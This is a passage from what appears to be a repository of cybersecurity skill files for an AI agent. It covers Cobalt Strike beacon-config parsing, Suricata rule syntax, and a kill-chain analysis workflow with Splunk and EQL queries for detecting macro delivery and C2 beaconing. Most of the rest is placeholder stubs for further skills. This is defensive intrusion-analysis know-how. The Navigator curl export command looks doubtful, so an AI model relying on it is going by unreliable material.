Extraction\n\n### Usage\n```python\nfrom cobalt_strike_parser import BeaconConfig\nconfig = BeaconConfig.from_file(\"beacon.bin\")\nfor key, value in config.items():\n    print(f\"{key}: {value}\")\n```\n\n### Key Config Fields\n| Field | Description |\n|-------|-------------|\n| `BeaconType` | HTTP, HTTPS, DNS, SMB |\n| `C2Server` | Primary C2 URL |\n| `SleepTime` | Beacon interval (ms) |\n| `Jitter` | Jitter percentage |\n| `UserAgent` | HTTP User-Agent string |\n| `Watermark` | License watermark ID |\n\n## Suricata - Network IDS Rules\n\n### Rule Syntax\n```\nalert <proto> <src> <port> -> <dst> <port> (msg:\"\"; <options>; sid:N; rev:N;)\n```\n\n### Key Keywords\n| Keyword | Purpose |\n|---------|---------|\n| `http.method` | Match HTTP method |\n| `http.uri` | Match request URI |\n| `http.header` | Match header content |\n| `ja3.hash` | Match JA3 TLS fingerprint |\n| `dns.query` | Match DNS query name |\n| `tls.cert_subject` | Match TLS certificate CN |\n| `threshold` | Rate-based detection |\n","skills/analyzing-cyber-kill-chain/SKILL.md":"---\nname: analyzing-cyber-kill-chain\ndescription: 'Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain\n  framework to identify which phases an adversary has completed, where defenses succeeded\n  or failed, and what controls would have interrupted the attack at earlier phases.\n  Use when conducting post-incident analysis, building prevention-focused security\n  controls, or mapping detection gaps to kill chain phases. Activates for requests\n  involving kill chain analysis, intrusion kill chain, attack phase mapping, or Lockheed\n  Martin kill chain framework.\n\n  '\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- kill-chain\n- Lockheed-Martin\n- MITRE-ATT&CK\n- intrusion-analysis\n- defense-in-depth\n- NIST-CSF\nversion: 1.0.0\nauthor: team-cybersecurity\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1566.001\n- T1190\n- T1547.001\n- T1071.001\n- T1486\n---\n# Analyzing Cyber Kill Chain\n\n## When to Use\n\nUse this skill when:\n- Conducting post-incident analysis to determine how far an adversary progressed through an attack sequence\n- Designing layered defensive controls with the goal of interrupting attacks at the earliest possible phase\n- Producing threat intelligence reports that communicate attack progression to non-technical stakeholders\n\n**Do not use** this skill as a standalone framework — combine with MITRE ATT&CK for technique-level granularity beyond what the 7-phase kill chain provides.\n\n## Prerequisites\n\n- Complete incident timeline with forensic artifacts mapped to specific adversary actions\n- MITRE ATT&CK Enterprise matrix for technique-level mapping within each kill chain phase\n- Access to threat intelligence on the suspected adversary group's typical kill chain progression\n- Post-incident report or IR timeline from responding team\n\n## Workflow\n\n### Step 1: Map Observed Actions to Kill Chain Phases\n\nThe Lockheed Martin Cyber Kill Chain consists of seven phases. Map all observed adversary actions:\n\n**Phase 1 - Reconnaissance**: Adversary gathers target information before attack.\n- Indicators: DNS queries from adversary IP, LinkedIn scraping, job posting analysis, Shodan scans of organization infrastructure\n\n**Phase 2 - Weaponization**: Adversary creates attack tool (malware + exploit).\n- Indicators: Malware compilation timestamps, exploit document metadata, builder artifacts in malware samples\n\n**Phase 3 - Delivery**: Adversary transmits weapon to target.\n- Indicators: Phishing emails, malicious attachments, drive-by downloads, USB drops, supply chain compromise\n\n**Phase 4 - Exploitation**: Adversary exploits vulnerability to execute code.\n- Indicators: CVE exploitation events in application/OS logs, memory corruption artifacts, shellcode execution\n\n**Phase 5 - Installation**: Adversary establishes persistence on target.\n- Indicators: New scheduled tasks, registry run keys, service installation, web shells, bootkits\n\n**Phase 6 - Command & Control (C2)**: Adversary communicates with compromised system.\n- Indicators: Beaconing traffic (regular intervals), DNS tunneling, HTTPS to uncommon domains, C2 framework signatures (Cobalt Strike, Sliver)\n\n**Phase 7 - Actions on Objectives**: Adversary achieves goals.\n- Indicators: Data staging/exfiltration, lateral movement, ransomware execution, destructive activity\n\n### Step 2: Identify Phase Completion and Detection Points\n\nCreate a phase matrix for the incident:\n```\nPhase 1: Recon        → Completed (undetected)\nPhase 2: Weaponize    → Completed (undetected — pre-attack)\nPhase 3: Delivery     → Completed; phishing email bypassed SEG\nPhase 4: Exploit      → Completed; CVE-2023-23397 exploited\nPhase 5: Install      → DETECTED: EDR flagged scheduled task creation (attack stalled here)\nPhase 6: C2           → Not achieved (installation blocked)\nPhase 7: Objectives   → Not achieved\n```\n\nFor each phase completed without detection, document the defensive control gap.\n\n### Step 3: Map to MITRE ATT&CK for Technique Detail\n\nEach kill chain phase maps to multiple ATT&CK tactics:\n- Delivery → Initial Access (TA0001)\n- Exploitation → Execution (TA0002)\n- Installation → Persistence (TA0003), Privilege Escalation (TA0004)\n- C2 → Command and Control (TA0011)\n- Actions on Objectives → Exfiltration (TA0010), Impact (TA0040)\n\nWithin each phase, enumerate specific ATT&CK techniques observed and map to existing detections.\n\n### Step 4: Identify Courses of Action per Phase\n\nFor each phase, document applicable defensive courses of action (COAs):\n- **Detect COA**: What detection would alert on adversary activity in this phase?\n- **Deny COA**: What control would prevent the adversary from completing this phase?\n- **Disrupt COA**: What control would interrupt the adversary mid-phase?\n- **Degrade COA**: What control would reduce the adversary's effectiveness in this phase?\n- **Deceive COA**: What deception (honeypots, canary tokens) would expose activity in this phase?\n- **Destroy COA**: What active defense capability would neutralize adversary infrastructure?\n\n### Step 5: Produce Kill Chain Analysis Report\n\nStructure findings as:\n1. Attack narrative (timeline of phases)\n2. Phase-by-phase analysis with evidence\n3. Detection point analysis (what worked, what failed)\n4. Defensive recommendation per phase prioritized by cost/effectiveness\n5. Control improvement roadmap\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Kill Chain** | Sequential model of adversary intrusion phases; breaking any link theoretically stops the attack |\n| **Courses of Action (COA)** | Defensive responses mapped to each kill chain phase: detect, deny, disrupt, degrade, deceive, destroy |\n| **Beaconing** | Regular, periodic C2 check-in pattern from compromised host to adversary server; detectable by frequency analysis |\n| **Phase Completion** | Adversary successfully finishes a kill chain phase and progresses to the next; defense-in-depth aims to prevent this |\n| **Intelligence Gain/Loss** | Analysis of whether detecting at Phase 5 (vs. Phase 3) reduced intelligence about adversary capabilities or intent |\n\n## Tools & Systems\n\n- **MITRE ATT&CK Navigator**: Overlay kill chain phases with ATT&CK technique coverage for integrated analysis\n- **Elastic Security EQL**: Event Query Language for querying multi-phase attack sequences in Elastic SIEM\n- **Splunk ES**: Timeline visualization and correlation searches for kill chain phase sequencing\n- **MISP**: Kill chain tagging via galaxy clusters for structured incident event documentation\n\n## Common Pitfalls\n\n- **Linear assumption**: Adversaries don't always progress linearly — they may skip phases (weaponization already complete from previous campaign) or loop back (re-establish C2 after detection).\n- **Ignoring Phases 1 and 2**: Reconnaissance and weaponization occur before the defender has visibility. Intelligence about these phases requires external sources (OSINT, threat intelligence).\n- **Missing insider threats**: The kill chain was designed for external adversaries. Insider threats may skip directly to Phase 7 without traversing earlier phases.\n- **Confusing with ATT&CK tactics**: The 7-phase kill chain and 14 ATT&CK tactics are complementary but not directly equivalent. Maintain distinction to prevent analytic confusion.\n","skills/analyzing-cyber-kill-chain/references/api-reference.md":"# API Reference: Cyber Kill Chain Analysis Tools\n\n## Lockheed Martin Cyber Kill Chain Phases\n\n| Phase | Name | MITRE ATT&CK Tactic |\n|-------|------|---------------------|\n| 1 | Reconnaissance | TA0043 Reconnaissance |\n| 2 | Weaponization | TA0042 Resource Development |\n| 3 | Delivery | TA0001 Initial Access |\n| 4 | Exploitation | TA0002 Execution |\n| 5 | Installation | TA0003 Persistence, TA0004 Privilege Escalation |\n| 6 | Command & Control | TA0011 Command and Control |\n| 7 | Actions on Objectives | TA0010 Exfiltration, TA0040 Impact |\n\n## Courses of Action (COA) Matrix\n\n| COA | Description |\n|-----|-------------|\n| Detect | Alert on adversary activity |\n| Deny | Prevent phase completion |\n| Disrupt | Interrupt adversary mid-phase |\n| Degrade | Reduce adversary effectiveness |\n| Deceive | Expose activity via deception |\n| Destroy | Neutralize adversary infrastructure |\n\n## MITRE ATT&CK Navigator\n\n### JSON Layer Format\n```json\n{\n  \"name\": \"Kill Chain Coverage\",\n  \"versions\": {\"navigator\": \"4.8\", \"layer\": \"4.4\", \"attack\": \"13\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\"techniqueID\": \"T1566\", \"color\": \"#ff6666\", \"comment\": \"Phase 3: Delivery\"}\n  ]\n}\n```\n\n### CLI Usage\n```bash\n# Export layer via ATT&CK Navigator API\ncurl -X POST https://mitre-attack.github.io/attack-navigator/api/layers \\\n  -d @layer.json -o coverage_map.svg\n```\n\n## Splunk - Kill Chain Phase Queries\n\n### Phase 3 Detection (Delivery)\n```spl\nindex=email sourcetype=exchange action=delivered\n| eval has_macro=if(match(attachment, \"\\.(docm|xlsm|pptm)$\"), 1, 0)\n| where has_macro=1\n| stats count by sender, subject, attachment\n```\n\n### Phase 6 Detection (C2)\n```spl\nindex=proxy OR index=firewall\n| stats count AS connections, dc(dest) AS unique_dests by src_ip\n| where connections > 100 AND unique_dests < 3\n| sort - connections\n```\n\n## Elastic Security EQL\n\n### Multi-Phase Detection\n```eql\nsequence by host.name with maxspan=1h\n  [process where event.action == \"start\" and process.name == \"WINWORD.EXE\"]\n  [process where event.action == \"start\" and process.parent.name == \"WINWORD.EXE\"]\n  [network where destination.port == 443 and not destination.ip in (\"known_good\")]\n```\n\n## MISP - Kill Chain Tagging\n\n### Galaxy Cluster Tags\n```\nmisp-galaxy:kill-chain=\"reconnaissance\"\nmisp-galaxy:kill-chain=\"delivery\"\nmisp-galaxy:kill-chain=\"exploitation\"\nmisp-galaxy:kill-chain=\"installation\"\nmisp-galaxy:kill-chain=\"command-and-control\"\nmisp-galaxy:kill-chain=\"actions-on-objectives\"\n```\n\n### PyMISP Event Tagging\n```python\nfrom pymisp import PyMISP, MISPEvent\n\nmisp = PyMISP(\"https://misp.example.com\", \"API_KEY\")\nevent = MISPEvent()\nevent.add_tag(\"kill-chain:delivery\")\nevent.add_tag(\"mitre-attack-pattern:T1566 - Phishing\")\nmisp.update_event(event)\n```\n","skills/analyzing-disk-image-with-autopsy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2FSKILL.md -->","skills/analyzing-disk-image-with-autopsy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2Freferences%2Fapi-reference.md -->","skills/analyzing-dns-logs-for-exfiltration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2FSKILL.md -->","skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2Freferences%2Fapi-reference.md -->","skills/analyzing-docker-container-forensics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2FSKILL.md -->","skills/analyzing-docker-container-forensics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2Freferences%2Fapi-reference.md -->","skills/analyzing-email-headers-for-phishing-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2FSKILL.md -->","skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2Freferences%2Fapi-reference.md -->","skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2FSKILL.md -->","skills/analyzing-ethereum-smart-contract-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/analyzing-golang-malware-with-ghidra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2FSKILL.md -->","skills/analyzing-golang-malware-with-ghidra/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Fassets%2Ftemplate.md -->","skills/analyzing-golang-malware-with-ghidra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","skills/analyzing-golang-malware-with-ghidra/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fstandards.md -->","skills/analyzing-golang-malware-with-ghidra/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fworkflows.md -->","skills/analyzing-heap-spray-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2FSKILL.md -->","skills/analyzing-heap-spray-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2Freferences%2Fapi-reference.md -->","skills/analyzing-indicators-of-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2FSKILL.md -->","skills/analyzing-indicators-of-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","skills/analyzing-ios-app-security-with-objection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2FSKILL.md -->","skills/analyzing-ios-app-security-with-objection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Fassets%2Ftemplate.md -->","skills/analyzing-ios-app-security-with-objection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fapi-reference.md -->","skills/analyzing-ios-app-security-with-objection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fstandards.md -->","skills/analyzing-ios-app-security-with-objection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fworkflows.md -->","skills/analyzing-kubernetes-audit-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2FSKILL.md -->","skills/analyzing-kubernetes-audit-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2FSKILL.md -->","skills/analyzing-linux-audit-logs-for-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-elf-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2FSKILL.md -->","skills/analyzing-linux-elf-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-kernel-rootkits/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2FSKILL.md -->","skills/analyzing-linux-kernel-rootkits/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-system-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2FSKILL.md -->","skills/analyzing-linux-system-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2FSKILL.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fworkflows.md -->","skills/analyzing-macro-malware-in-office-documents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2FSKILL.md -->","skills/analyzing-macro-malware-in-office-documents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-pdf-with-peepdf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2FSKILL.md -->","skills/analyzing-malicious-pdf-with-peepdf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-url-with-urlscan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2FSKILL.md -->","skills/analyzing-malicious-url-with-urlscan/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Fassets%2Ftemplate.md -->","skills/analyzing-malicious-url-with-urlscan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-url-with-urlscan/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fstandards.md -->","skills/analyzing-malicious-url-with-urlscan/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fworkflows.md -->","skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2FSKILL.md -->","skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2FSKILL.md -->","skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-persistence-with-autoruns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2FSKILL.md -->","skills/analyzing-malware-persistence-with-autoruns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Fassets%2Ftemplate.md -->","skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-persistence-with-autoruns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fstandards.md -->","skills/analyzing-malware-persistence-with-autoruns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fworkflows.md -->","skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2FSKILL.md -->","skills/analyzing-malware-sandbox-evasion-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2Freferences%2Fapi-reference.md -->","skills/analyzing-memory-dumps-with-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2FSKILL.md -->","skills/analyzing-memory-dumps-with-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2Freferences%2Fapi-reference.md -->","skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2FSKILL.md -->","skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2Freferences%2Fapi-reference.md -->","skills/analyzing-mft-for-deleted-file-recovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2FSKILL.md -->","skills/analyzing-mft-for-deleted-file-recovery/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Fassets%2Ftemplate.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fapi-reference.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fstandards.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fworkflows.md -->","skills/analyzing-network-covert-channels-in-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2FSKILL.md -->","skills/analyzing-network-covert-channels-in-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Fassets%2Ftemplate.md -->","skills/analyzing-network-covert-channels-in-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-covert-channels-in-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fstandards.md -->","skills/analyzing-network-covert-channels-in-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fworkflows.md -->","skills/analyzing-network-flow-data-with-netflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2FSKILL.md -->","skills/analyzing-network-flow-data-with-netflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-packets-with-scapy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2FSKILL.md -->","skills/analyzing-network-packets-with-scapy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-for-incidents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2FSKILL.md -->","skills/analyzing-network-traffic-for-incidents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-of-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2FSKILL.md -->","skills/analyzing-network-traffic-of-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-with-wireshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2FSKILL.md -->","skills/analyzing-network-traffic-with-wireshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2Freferences%2Fapi-reference.md -->","skills/analyzing-office365-audit-logs-for-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2FSKILL.md -->","skills/analyzing-office365-audit-logs-for-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2Freferences%2Fapi-reference.md -->","skills/analyzing-outlook-pst-for-email-forensics/SKILL.md":"<!-- Skill available on-demand via 